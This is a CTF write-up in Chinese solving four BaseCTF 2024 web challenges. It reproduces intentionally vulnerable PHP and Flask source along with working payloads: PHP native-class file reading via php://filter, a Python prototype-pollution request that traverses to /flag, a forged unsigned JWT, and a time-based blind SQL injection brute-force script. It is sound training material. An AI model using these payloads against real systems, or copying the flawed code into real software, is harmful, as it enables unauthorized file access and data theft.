2024BaseCTF-Week4-Web

Week4

官方WP

https://j0zr0js7k7j.feishu.cn/docx/MS06dyLGRoHBfzxGPF1cz0VhnGh

flag直接读取不就行了?

题目描述

你应该能找到flag吧?

考点

  • php原生类

  • php伪协议

题解

查看源码

<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
    echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

第9行利用遍历文件目录的类,结合10-12行遍历并输出文件找到flag文件的位置和名字

第13行利用文件读取的类读取flag文件

先GET传参?K=DirectoryIterator&W=/secret获取flag名字为f11444g.php

因为是php文件,直接读取会被包含而看不到其中信息,因此需要结合php伪协议

再POST传参J=SplFileObject&H=php://filter/convert.base64-encode/resource=/secret/f11444g.php

获得被base64编码后的flag文件


圣钥之战1.0

题目描述

J1ngHong大魔王不会让你污染圣钥的!

考点

  • 原型链污染

题解

访问/read路由获取源码

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
    return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
    return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80)

可以利用Read()下的open().read()来读取flag,因此我们需要污染__file__的值为/flag

payload为

GET /pollute HTTP/1.1
Host: challenge.basectf.fun:32916
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 125

{
    "__init__":{
        "__globals__":{
            "__file__": "../../../../../../flag"
        }
    }
}

No JWT

题目描述

没有 JWT!

考点

  • JWT伪造

题解

下载附件获得源码

from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
    data = request.json
    username = data.get('username')
    password = data.get('password')

    # 其他用户都给予 user 权限
    token = jwt.encode({
            'sub': username,
            'role': 'user',  # 普通用户角色
            'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
        }, app.secret_key, algorithm='HS256')
    return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
    token = request.headers.get('Authorization')

    if token:
        try:
            decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
            # 检查用户角色是否为 admin
            if decoded.get('role') == 'admin':
                with open('/flag', 'r') as f:
                    flag_content = f.read()
                return jsonify({'flag': flag_content}), 200
            else:
                return jsonify({'message': 'Access denied: admin only'}), 403

        except FileNotFoundError:
            return jsonify({'message': 'Flag file not found'}), 404
        except jwt.ExpiredSignatureError:
            return jsonify({'message': 'Token has expired'}), 401
        except jwt.InvalidTokenError:
            return jsonify({'message': 'Invalid token'}), 401
    return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
    app.run(debug=True)

发现作为admin用户登录即可获得flag

注意到第35行的decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False}),发现对jwt是直接进行解码而未进行验证的

先向login路由发送登录信息获取一个token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJCUiIsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzI3NTA5NTk1fQ.7oH1uZKH7D0PZGl-zuzkfNG4LJS2q-KhjEEWtWNHUo0

Header解码后为

{
  "alg": "HS256",
  "typ": "JWT"
}

Payload解码后为

{
  "sub": "BR",
  "role": "user",
  "exp": 1727509595
}

需要修改role为admin,而由于在解码过程中,未对jwt的加密进行验证,这就意味着直接修改即可

修改并base64编码

eyJzdWIiOiJCUiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNzUwOTU5NX0

得到伪造的admin的token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJCUiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNzUwOTU5NX0.7oH1uZKH7D0PZGl-zuzkfNG4LJS2q-KhjEEWtWNHUo0

访问/flag并在请求头添加

Authorization:a eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJCUiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNzUwOTU5NX0.7oH1uZKH7D0PZGl-zuzkfNG4LJS2q-KhjEEWtWNHUo0

ps: a和token之间有个空格不能省,原因是35行的token.split(" ")[1]


only one sql

题目描述

只可以一句哦

考点

  • sql时间盲注

题解

题目给出源码

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);

发现禁止了select,同时提示我们flag位于ctf库下的flag表中

传入?sql=show columns from flag即可查询表中字段为

Field   Type    Null    Key Default Extra
id  varchar(300)    YES     NULL    
data    varchar(300)    YES     NULL

推测flag在data字段中

使用delete from flag where data like 'f%' and sleep(5)进行判断,如果like匹配到了,则会执行sleep,而由于sleep始终返回的是null,where始终为假,则不会真的执行delete操作

由此写脚本进行爆破

import requests

class SQL:
    def __init__(self):
        self.chr_list = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-{}"
        self.url = "http://challenge.basectf.fun:33096/"
        self.timeout = 3

    def blind_injection_by_get_and_chr(self):
        flag = ""
        for _ in range(100):
            for chr in self.chr_list:
                payload = f"?sql=delete from flag where BINARY data like '{flag+chr}%' and sleep(5)"
                try:
                    requests.get(self.url + payload, timeout=self.timeout)
                except:
                    flag += chr
                    print(flag)
                    break

            if flag[-1] == "}":
                return flag

attack = SQL()
attack.blind_injection_by_get_and_chr()

官方WP给出的脚本没有区分大小写,最好在payload中添加BINARY进行大小写区分

等待一会即可获得flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇